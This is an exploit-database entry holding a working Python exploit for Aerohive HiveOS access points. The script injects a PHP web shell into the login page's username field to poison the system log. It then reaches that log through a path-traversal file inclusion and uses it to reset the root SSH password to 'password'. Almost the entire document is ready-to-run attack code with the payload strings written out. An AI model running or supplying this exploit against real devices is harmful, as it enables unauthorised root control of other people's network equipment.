Aerohive HiveOS 5.1r5 < 6.1r5 - Remote Code Execution Exploit

2017-06-15T00:00:00
ID 1337DAY-ID-27958
Type zdt
Reporter Ike-Clinton
Modified 2017-06-15T00:00:00

Description

Exploit for hardware platform in category web applications

                                        
                                            #!/usr/bin/python3
 
# TARGET: AeroHive AP340 HiveOS < 6.1r5
# Confirmed working on AP340 HiveOS 6.1r2
# This program uses a local file inclusion vulnerability
# 1. Poison the log file in /var/log/messages by injecting PHP code into the 
#    username field of the login page
# 2. Call the uploaded PHP shell with the LFI URL, changing the root password for SSH
# 3. Login with SSH as root using password "password"
 
import sys
from urllib.parse import urlencode
from urllib.request import Request, urlopen
import urllib
 
 
 
# Payload to poison the log file at /var/log/messages
# Note if you mess up and get invalid syntax errors just reboot AP it
# will erase/rotate the logs
 
payload_inject = "<?php if(isset($_REQUEST[\'cmd\'])){     $cmd = ($_REQUEST[\"cmd\"]);     system($cmd);     echo \"</pre>$cmd<pre>\";     die; } ?>"
 
# URL of the login page where we will inject our PHP command exec code so it poisons the log file
post_url= "/login.php5?version=6.1r2"
post_fields = {"login_auth" : "1", "miniHiveUI" : "1", "userName" : payload_inject, "password" : "1234"}
post_fields = urllib.parse.urlencode(post_fields)
data = post_fields.encode('ascii')
 
 
# Payload to call the injected PHP code
payload_lfi_url = "/action.php5?_action=get&_actionType=1&_page=../../../../../../../../../../var/log/messages%00&cmd="
 
# Payload to change the root SSH user password
payload_command = "echo+root:password+|+/usr/sbin/chpasswd"
 
# Combined payload to change password using LFrI
payload_chpasswd = payload_lfi_url+payload_command
 
print("\n* * * * * AeroHive AP340 HiveOS < 6.1r2 Root Exploit * * * * *\n")
 
# Get target URL from user
print("\nPlease enter the IP address of the AeroHive AP340 ex: 192.168.1.1\n")
wap_ip = input(">>> ")
base_url = "http://" + wap_ip
 
# Poison log file with POST to login page
# json_data = json.dumps(post_fields).encode("utf8")
# request = urllib.request.Request(base_url+post_url, post_fields)
print ("Poisoning log file at /var/log/messages. . .")
request = urllib.request.Request(base_url+post_url, data)
json = urlopen(request).read().decode()
 
# Change the command with LFI->command execution
print("Interacting with PHP shell to change root password. . .")
content = urllib.request.urlopen(base_url+payload_chpasswd).read()
if "Password for " in content.decode('ascii'):
    print("Success!")
    print("Now try to log in with root:password via SSH!")
else:
    print("Exploit Failed")

#  0day.today [2018-01-03]  #